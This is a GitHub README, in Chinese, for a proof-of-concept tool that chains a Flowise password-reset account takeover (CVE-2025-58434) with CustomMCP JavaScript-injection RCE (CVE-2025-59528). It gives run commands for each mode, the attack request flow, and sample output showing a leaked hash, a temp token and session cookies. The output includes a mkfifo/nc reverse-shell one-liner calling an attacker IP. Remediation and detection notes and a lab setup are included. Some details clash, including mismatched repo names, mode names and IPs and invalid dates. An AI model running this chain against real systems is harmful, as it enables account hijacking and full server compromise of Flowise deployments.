0xDaeras/Flowise-CVE-2025-58434-Chain-59528
GitHub: 0xDaeras/Flowise-CVE-2025-58434-Chain-59528
针对 FlowiseAI 平台的未授权账户接管与认证后远程代码执行漏洞链 PoC,附带可复现的 Docker 实验环境。
Stars: 1 | Forks: 0
# FlowiseAI CVE 漏洞链 - ATO (CVE-2025-58434) 和 RCE (CVE-2025-59528)






## 目录
本仓库包含一个 Python 概念验证程序,用于将两个 Flowise 漏洞进行链式利用:
- **CVE-2025-58434** — 通过暴露的密码重置 token 行为实现账户接管。
- **CVE-2025-59528** — 通过 CustomMCP 节点中不安全的 JavaScript 执行实现远程代码执行。
Flowise 是一个用于构建 LLM 应用程序和 AI 代理工作流的拖放式平台。CVE-2025-59528 影响 Flowise 3.0.5,并在 3.0.6 版本中修复。该问题源于 CustomMCP 节点内部对 `mcpServerConfig` 的不安全处理。CVE-2025-58434 与密码重置 token 暴露有关,同样在 Flowise 3.0.6 中得到修复。
该工具支持:
- 漏洞检查
- 账户接管流程
- 登录并获取 Cookie
- 认证后 RCE
- 完整利用链模式:ATO → 登录 → RCE
## 漏洞详情
### CVE-2025-58434 — 账户接管
- **CVE ID**: CVE-2025-58434
- **CVSS v3.1 评分**: 9.8 (严重)
- **漏洞类型**: 账户接管 / 身份验证绕过
- **受影响产品**: Flowise
- **受测试版本**: Flowise 3.0.5
- **修复版本**: Flowise 3.0.6
- **是否需要身份验证**: 否
- **影响**: 密码重置 token 泄露,账户接管
存在漏洞的密码重置流程会在 API 响应中暴露敏感的用户数据,包括临时的密码重置 token。知道有效用户电子邮件地址的攻击者可以请求密码重置,从响应中获取临时 token,并使用该 token 为账户设置新密码。
此漏洞行为影响 Flowise 云端以及暴露相同 API 接口的自托管/本地部署。修复建议是绝不在 API 响应中直接返回密码重置 token 或敏感的账户重置数据。
### CVE-2025-59528 — 远程代码执行
- **CVE ID**: CVE-2025-59528
- **CVSS v3.1 评分**: 10.0 (严重)
- **漏洞类型**: JavaScript 代码注入 / 远程代码执行
- **受影响产品**: Flowise
- **受测试版本**: Flowise 3.0.5
- **修复版本**: Flowise 3.0.6
- **是否需要身份验证**: 是
- **影响**: 在 Node.js 运行时中执行任意 JavaScript 代码,在托管 Flowise 的服务器上实现 RCE
该漏洞存在于 Flowise 的 CustomMCP 节点中。`mcpServerConfig` 参数在 MCP 服务器配置过程中被解析,并在没有任何安全验证的情况下作为 JavaScript 代码进行求值。这允许经过身份验证的攻击者注入任意 JavaScript 代码,这些代码将在 Flowise 服务器的 Node.js 环境中执行。在 `convertToValidJSONString` 函数中,用户输入被传递给 `Function` 构造函数,该构造函数以完整的 Node.js 权限将输入作为 JavaScript 代码进行求值,从而允许访问 `child_process` 等模块来执行系统命令。
本 PoC 使用的受漏洞影响的端点为:
```
POST /api/v1/node-load-method/customMCP
```
在 JSON 请求体的 `mcpServerConfig` 字段中包含 js 载荷,例如:
```
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
```
漏洞代码位于 `CustomMCP.ts` 文件中,并在针对该 CVE 的 [Github 维护者安全公告](https://github.com/advisories/GHSA-3gcm-f6qx-ff7p) 中被引用。
## 攻击流程
```
Attacker Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ user object + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ password changed │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig= │
│─────────────────────────────────────────►│
│ JS evaluated in Node.js
│ command executed
│◄─────────────────────────────────────────│
│ command output or payload fired │
│ │
✓ Account takeover + authenticated RCE
```
## 仓库结构:
```
Repository Structure
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
```
## 安装说明
### 工具
```
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
```
### Docker 实验环境
```
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configure environment variables
docker-compose up -d
```
## 使用说明
### 默认行为
如果不加任何参数,该工具将运行完整的攻击链,检查目标漏洞,对提供的电子邮件执行账户接管,登录以获取 Cookie,然后使用反向 shell 载荷利用 RCE 漏洞。在以完整利用链模式执行工具之前,请运行一个专用的监听器(例如,`nc -lvnp 9889`)。
```
python3 exploit.py --target http://localhost:3000 --email user@example.local --lhost attacker.local --lport 9889
```
### 帮助界面
```
python3 exploit.py -h
```
### 模式
#### check 模式 (check-mode)
执行版本检查以确定目标是否受 CVE-2025-58434 和 CVE-2025-59528 影响。它向目标的 API 发送请求并分析响应以识别 Flowise 版本及漏洞状态。
```
python3 exploit.py --target http://localhost:3000 check
```
#### ato 模式 (ato-mode)
执行 CVE-2025-58434 的账户接管过程。它针对指定的电子邮件发送密码重置请求,从响应中检索临时 token,然后使用该 token 为账户设置新密码(默认:"Password123!")。
```
python3 exploit.py --target http://localhost:3000 --email user@example.local ato-mode
```
#### login 模式 (login-mode)
使用指定的电子邮件和密码(默认:"Password123!")登录目标。如果成功,它将检索并显示身份验证 Cookie(例如,`connect.sid`)以用于后续的已认证请求。
```
python3 exploit.py --target http://localhost:3000 --email user@example.local --password Password123! login-mode
```
#### rce 模式 (rce-mode)
通过向受漏洞影响的端点发送精心构造的 `mcpServerConfig` 载荷来利用 RCE 漏洞 (CVE-2025-59528)。该载荷旨在执行反向 shell 命令,该命令将回连到攻击者机器上指定的 LHOST 和 LPORT。如果未提供 token,将自动尝试登录并获取有效的 token 以进行利用。如果未提供 LHOST/LPORT,则默认执行一条简单的 `id` 命令载荷并在响应中返回输出。在以完整利用链模式执行工具之前,请运行一个专用的监听器(例如,`nc -lvnp 9889`)。
```
python3 exploit.py --target http://localhost:3000 --email user@example.local --password Password123! --lhost attacker.local --lport 9889 rce-mode
```
#### full-chain 模式 (full-chain-mode)
*默认模式。* 按顺序运行整个攻击链:检查漏洞,执行账户接管,登录以获取 Cookie,然后使用反向 shell 载荷利用 RCE 漏洞。在以完整利用链模式执行工具之前,请运行一个专用的监听器(例如,`nc -lvnp 9889`)。
```
python3 exploit.py --target http://localhost:3000 --email user@example.local --lhost attacker.local --lport 9889 full-chain-mode
```
### 参数参考
#### 目标与身份验证
| 参数 | 描述 | 示例 |
| ---------------- | ----------------------------------- | ----------------------------- |
| `-t`, `--target` | 目标基础 URL | `-t http://localhost:3000` |
| `-e`, `--email` | 目标账户电子邮件 | `-e admin@example.com` |
| `--password` | 用于 login/RCE 模式的已知密码 | `--password Password123!` |
| `--token` | 现有的会话 token,跳过登录 | `--token eyJ...` |
| `--new-password` | 在 ATO 期间设置的密码 | `--new-password Password123!` |
#### 利用模式
| 模式 | 描述 |
| ------------ | ------------------------------------------- |
| `check` | 检查目标是否存在漏洞 |
| `ato-mode` | 仅运行账户接管流程 |
| `login-mode` | 登录并获取会话 Cookie |
| `rce-mode` | 仅运行 RCE 流程 |
| `full-mode` | 链式利用 ATO、登录和 RCE |
#### RCE 选项
| 参数 | 描述 | 示例 |
| ----------------- | ------------------------------- | -------------------- |
| `-c`, `--command` | 要执行的自定义命令 | `-c 'id'` |
| `--lhost` | 反向 shell 的监听主机 | `--lhost 10.10.14.3` |
| `--lport` | 反向 shell 的监听端口 | `--lport 4444` |
#### 安全与输出
| 参数 | 描述 | 默认值 |
| ----------------- | -------------------------------- | ------------------ |
| `--no-check` | 跳过版本/漏洞检查 | `False` |
| `-v`, `--verbose` | 启用调试日志记录 | `False` |
| `--log-file` | 日志文件路径 | `logs/exploit.log` |
| `--no-color` | 禁用 ANSI 颜色 | `False` |
### 示例输出
```
$ python3 exploit.py -t http://localhost:3000 -e user@example.local --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode
___________.__ .__ _________ .__ .__
\_ _____/| | ______ _ _|__| ______ ____ \_ ___ \| |__ _____ |__| ____
| __) | | / _ \ \/ \/ / |/ ___// __ \ / \ \/| | \\__ \ | |/ \
| \ | |_( <_> ) /| |\___ \\ ___/ \ \___| Y \/ __ \| | | \
\___ / |____/\____/ \/\_/ |__/____ >\___ > \______ /___| (____ /__|___| /
\/ \/ \/ \/ \/ \/ \/
────────────────────────────────────────────────────────────────────────────────
[∗] Target URL: http://localhost:3000
[∗] Module : full-mode
[∗] Email : admin@example.local
────────────────────────────────────────────────────────────────────────────────
[∗] Checking for target vulnerability...
[+] Target appears to be vulnerable.
────────────────────────────────────────────────────────────────────────────────
[∗] Starting Account Takeover (CVE-2025-58434)...
[+] Password reset request sent successfully.
[∗] Target user data :
🡪 ID : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
🡪 Name : Lab Admin
🡪 Email : admin@example.local
🡪 Credential : $2a$10$lKbQNf8pVQXJFMzzW...
🡪 Status : active
🡪 Temp Token : AWtyV7mxIa6h12OhlB7H0mMl...
🡪 Token Expiry : 2026-05-08T19:37:47.025Z
[∗] Attempting to reset password using the temporary token...
[∗] New password : Password123!
[+] Account takeover successful! New credentials:
🡪 Email : admin@example.local
🡪 Password : Password123!
────────────────────────────────────────────────────────────────────────────────
[∗] Starting login process to retrieve session cookies...
[+] Login successful!
[+] Retrieved session tokens :
🡪 Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
🡪 connect.sid : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
🡪 refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
────────────────────────────────────────────────────────────────────────────────
[∗] Starting Remote Code Execution (CVE-2025-59528)...
[!] Make sure to have a listener ready if using a reverse shell command!
[∗] Reverse shell command: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] Target URL: http://localhost:3000/api/v1/node-load-method/customMCP
[∗] Sending payload to trigger RCE...
[+] Payload sent. Check your listener for a reverse shell connection!
────────────────────────────────────────────────────────────────────────────────
[+] Work done. Bye!
```
### Docker 实验环境
建议使用本地实验环境进行安全测试。
实验环境安装:
```
cp .env.example .env # Configure environment variables as needed
docker compose up -d --build
docker compose logs -f
```
默认创建两个 Flowise 账户:
- 管理员:电子邮件为 `admin@example.local`,密码在容器启动时随机生成(请检查日志以获取密码)。
- 普通用户:电子邮件为 `user@example.local`,密码在容器启动时随机生成,但不会出现在日志中。这是 ATO 流程的预期目标。
针对本地实例运行 PoC:
```
python3 exploit.py \
-t http://localhost:3000 \
-e user@example.com \
--new-password 'Password123!' \
--no-check \
full-mode
```
要检查 Flowise 日志:
```
docker compose logs -f flowise-cve-lab
```
或者:
```
docker logs -f flowise-cve-lab
```
## 修复建议
### 一般建议
#### 针对 CVE-2025-58434
- 将 Flowise 升级到 3.0.6 或更高版本。
- 绝不在 API 响应中返回密码重置 token。
- 仅通过已注册的电子邮件渠道传递重置 token。
- 重置 token 在单次使用后立即失效。
- 为密码重置端点添加严格的过期时间和速率限制。
#### 针对 CVE-2025-59528
- 将 Flowise 升级到 3.0.6 或更高版本。
- 避免将用户控制的配置作为 JavaScript 执行。
- 移除不安全的 Function、eval 或等效的动态执行模式。
- 将 MCP 配置作为严格的数据进行验证和解析,而不是可执行代码。
### 检测思路
潜在的被利用指标:
- 对 `/api/v1/node-load-method/customMCP` 的请求
- 包含类似 JavaScript 语法的可疑 `mcpServerConfig` 值。
- 诸如以下的字符串:`process.mainModule`、`child_process`、`execSync`、`Buffer.from`、`Function`
- 密码重置请求之后紧跟着立即登录并访问 CustomMCP。
- 来自 Flowise 容器或主机的出站连接。
## 漏洞披露时间线
- *2025-12-09*: CVE-2025-58434 由用户 [zaddy6](https://github.com/zaddy6) 和 [arthurgervais](https://github.com/arthurgervais) 在 [Github Advisories](https://github.com/advisories/GHSA-wgpv-6j63-x5ph) 上披露,并附带了详细报告和 PoC。
- *2025-13-09*: CVE-2025-59528 由用户 [im-soohyun](https://github.com/im-soohyun) 在 [Github Advisories](https://github.com/advisories/GHSA-3gcm-f6qx-ff7p) 上披露,并附带了详细报告和 PoC。
- *2025-15-09*: 两个 CVE 均在 Flowise 3.0.6 中修复,发布于 [Github](https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6)。
## 免责声明
本项目仅用于教育目的、实验室测试和授权的安全研究。
您有责任确保在对任何系统运行此工具之前已获得明确许可。作者不对使用本代码进行的滥用、损害或非法活动承担责任。在进行安全测试时,请始终遵循道德准则和法律规定。
## 参考文献
- [CVE-2025-58434](https://www.cve.org/CVERecord?id=CVE-2025-58434)
- [CVE-2025-59528](https://www.cve.org/CVERecord?id=CVE-2025-59528)
- [Flowise GitHub 仓库](https://github.com/FlowiseAI/Flowise)
- [针对 CVE-2025-58434 的 Flowise 维护者安全公告](https://github.com/advisories/GHSA-wgpv-6j63-x5ph)
- [针对 CVE-2025-59528 的 Flowise 维护者安全公告](https://github.com/advisories/GHSA-3gcm-f6qx-ff7p)
- [Flowise 3.0.6 发布说明](https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6)
标签:AI代理工作流, CISA项目, CustomMCP节点, CVE-2025-58434, CVE-2025-59528, CVSS 10.0, CVSS 9.8, Docker靶场, FlowiseAI, Go语言工具, JavaScript代码注入, MITM代理, PoC, Python, 安全漏洞, 无后门, 暴力破解, 未授权账户接管, 漏洞复现, 版权保护, 编程工具, 请求拦截, 身份验证绕过, 远程代码执行, 逆向工具, 重置令牌泄露